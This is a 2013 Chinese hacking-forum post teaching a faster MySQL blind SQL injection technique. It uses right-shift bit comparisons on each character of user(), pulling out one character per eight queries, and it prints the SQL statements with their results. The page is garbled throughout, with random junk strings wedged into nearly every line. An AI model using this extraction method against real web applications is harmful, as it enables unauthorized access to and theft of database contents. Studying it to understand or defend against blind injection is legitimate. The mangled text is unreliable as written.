找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2040|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位+ A9 }" E. p  R* @7 m4 F7 _( a
/ ~4 b& y: V! t, C9 E1 M; y' y

4 ~* i) {# f2 z% W$ j2 e: A3 N" E0 q, _/ e( ~) p; _
下面将以查询mysql数据库当中user()的第一位为例:
0 R! m  b# }1 f( q. V# G# `# i9 ^( D/ ]0 P* A+ _+ K" U

; r( n9 j8 G# t, s# h  ^$ x8 Q8 l- I0 C; b; H. A$ X
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
, E& Z, H  p2 N8 j. g6 D9 a, n2 K6 e4 Q
1 Z; D" F5 I4 u+ P, ^. r

! Q* D4 \4 \( m0 M3 ]首先执行如下sql语句:: h; K" {. ]4 I3 p, o
$ F7 t$ D, y/ H; U( O! ?, q" l
: j& l8 H! N) |" c  F% S' K

+ n0 G& f( V) A1 bmysql> select (ascii((substr(user(),1,1))) >> 7)=0;# H0 S: A1 o2 P& X" G$ m4 K6 ^
8 W- Y# b$ B* ?/ u! \
0 ^3 H5 h& d" m6 q

9 @1 A0 O% o! l  f( x+ n4 f我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的7 J/ B( N  J# a

5 F  h1 m2 D. f & T( h) g- `4 P* f

9 s9 B* b6 t) D) u/ k3 X- m第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为16 b. b/ x$ y0 O7 h7 o
3 ^1 s" |' Q% m

2 f$ O1 }7 ?$ x6 m$ x) n2 z1 N( o6 Y  i( C2 N
如果运算结果为1,说明第一位为0,不为18 [! p* E' ~8 w
( Y( r/ T1 h4 [- K# p, k
) X9 e9 t/ G+ O5 J( p& W

- X$ B( e& O! J8 R$ s4 N0 \+————————————–+/ Q) O( v5 U+ p( R

5 r  B) f# d+ e, b* W( p| (ascii((substr(user(),1,1))) >> 7)=0 |" y! r% w) C! l. T: {  c

+ m" N8 U. {# H: z7 `* G" y+————————————–+
( }0 X+ [1 b& m7 g# w+ m* i8 `: e8 S, o4 n! R
| 1 |
/ m3 o4 |% ^9 @) I- Z) a
$ ^/ c" e; W' d+————————————–+
2 ^6 i. W% D, r! U) }# X! A( \; A  @- u
1 row in set (0.00 sec)
" V3 a3 Z1 z+ v+ A3 B$ V  n+ T6 G6 S+ y$ R# |/ N" U3 i
这样我们就确定这个8bit的ascii的第一位为0
# |$ q; ?  J6 h1 M) S- Y; U6 F; {

; i' q) X4 E6 t3 w9 g- Q5 o8 v6 P: y; e- K% U/ W. u2 M2 y
第二次我们来做6次右偏移来确定前两位
5 L, }" \4 _. \% k
" \( [; w0 W& n
/ A6 L/ }* M' D* d; X# ^2 ^' e0 h" K4 H7 ]6 _3 n0 w' ?
前两位可能是01或00,即依然可以与0做比较,# y4 C; R, \2 H' {1 }

2 d, j2 Y" N  Jmysql> select (ascii((substr(user(),1,1))) >> 6)=0;. b0 _, X( z/ X* m5 C

# P! i9 a3 D8 ?6 ?+————————————–+, |3 z: C( W! E$ W

4 R1 |( _9 c# Q0 Y| (ascii((substr(user(),1,1))) >> 6)=0 |
( v, u  l# k2 H' o. b5 s7 i/ N( E8 ]# z5 [- x0 e  F
+————————————–+
0 S3 w+ j1 m( ~5 ^
5 Z; [1 l' B# z" z: z/ i| 0 |
% {- Q0 P! u0 A" R
& `' S% \6 f; i, A- x+————————————–+! y% z- {2 r) G+ W

; }. R% J6 l' |1 row in set (0.00 sec); p) ~7 [) }$ s8 S" @# b  ]

! L( f" B1 @6 V% H8 m8 ` - K. B7 G" {+ ~( d0 R; H
' W% H5 x" Y. k0 ^
结果为0,即第二位为15 I. C! @2 s1 `* C2 a: o% g

9 N4 V" \9 N6 n5 m' b
# [9 }2 Z; w3 k& B6 S: L8 S8 z3 w4 l
开始猜测前三位为010或011+ t/ W" @: x, a4 z& H- U: j

( z" S8 K1 _0 P' \: H
9 x1 M! e; U- w0 ^. `! c
3 f6 G* T9 f. w6 h, _让我们看看010和011的ascii码是多少
; d6 @8 X  b) ]3 W* d+ E% S+ p
4 k: o3 Z8 s( S! t: [. P ( w; R  K' B2 H, F* H0 a3 h) s  v- c

( [. l9 u- W+ L1 S; Y+ W分别查询select b’011′ select b’010′
0 Y( C5 Q# u0 \% p3 G  e7 V
& j( b; V5 ^4 Y . F( g$ N+ @' B% Q

/ r& O- z% |4 M% m5 Z* I% M获得结果 010 = 2 011 = 39 Z  w6 c" z. `; j
/ c# c+ {  Q1 }0 A6 ^' J( P( |
6 |1 y) d  g: [0 ^
+ m& {, x+ r0 ^- F" z
执行如下sql:
6 r2 G4 b* [, T. \4 q2 V
8 {0 Q; ~* M- i
) G- t4 |( b& N) u  }/ T% T
( s; b' h5 D+ d& D0 dmysql> select (ascii((substr(user(),1,1))) >> 5)=2;: G( Q: I' A2 N* m6 D3 N

1 j7 Q; H& y( U, t5 f" u$ U+————————————–+
" R: E& D+ n" N: y
" B) D, S6 a# I. V) G( W| (ascii((substr(user(),1,1))) >> 5)=2 |2 `9 i4 X( e7 J0 r
/ j' ?4 f' `, ?+ o& m
+————————————–+8 B  Z* K! H" i3 K' T# ^1 W: I+ o
" w  i% j. ?" u7 K3 ]% D- Q* N
| 0 |$ F/ g; u: l9 V6 @6 a+ M) I0 E
& J' Q$ p4 x) ~3 L) D! n
+————————————–+. M) ~' H. ^5 q: o

- ^; ?3 s1 h4 X. k4 V即前三位不为010,而是011& W# H9 V( o+ e2 U1 B7 W% G- v8 Q

! Q/ o. }* t0 |/ A$ {' [9 X5 y' q & n# |: Y& S* n! l& ]5 w
$ s6 G! q: [" W1 a- |) Q) R% p
直到获得最后一位
$ H1 Y% I' ^& y8 T. b: Q& y
! H' I) M# Z' g9 |
& z) `) P9 D, x$ R- F+ F, G) `% F1 B$ \$ l/ I
最终结果为:01110010* z2 S/ |$ n- w7 \: ?; T5 I

+ v( E' ]" X3 F* I5 m' f- e4 w; g - q, J1 B. z. N" e: ]

. I% c% M/ d5 Y0 i转换一下:
1 H. e; J. Y- f; r2 L# ?, A+ J; }! a
* H8 h. O  G1 A6 L   A: @5 O+ j& p( M

9 _# H8 _2 B, J9 I4 i! a& |# sselect b’01110010′
/ W# P; Q4 O# e$ i& H) o! q9 y; G) E! ~- n5 F% B
" s4 p/ ~. w. m5 a5 W0 s2 ~5 M
9 J8 o  ^6 q' W  m; V
查询结果
# U: F8 P! f2 q$ D
- `+ X, o1 K4 M! }5 ?. P
- |: p, o6 Y5 ]5 s% j# I1 ~4 Z# `) a1 x+ V$ d# v2 g' `
+————-+0 j' e/ c* _+ P) V5 X

! n7 T9 i' X5 |- ]; ?, l| b’01110010′ |
: Y- b2 X! K7 c9 }
) a- d6 t/ n& w+————-+
# t- G: Z9 r1 d! g
7 r1 x( |% x) g( || r |
& b/ q5 C4 `9 ~- N: W
" a6 I! ]" {# G. f. v1 Q7 z+————-+# m1 B0 m  u7 y6 C7 C: E* a( p7 K

4 R5 [- x% D/ e1 row in set (0.00 sec)& k) [" m1 Q3 }, H
- q3 |- s8 y6 B6 p; R5 V

$ o6 N$ D/ I9 o! X1 w. |1 q
" }# f) e) n3 \, T' _1 T这样我们就获得了user()的第一位.其它位依此类推
: j# L6 h% E3 t9 x" _! |, Q' u8 g: P$ e8 `( s: W& i  t0 ?' B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表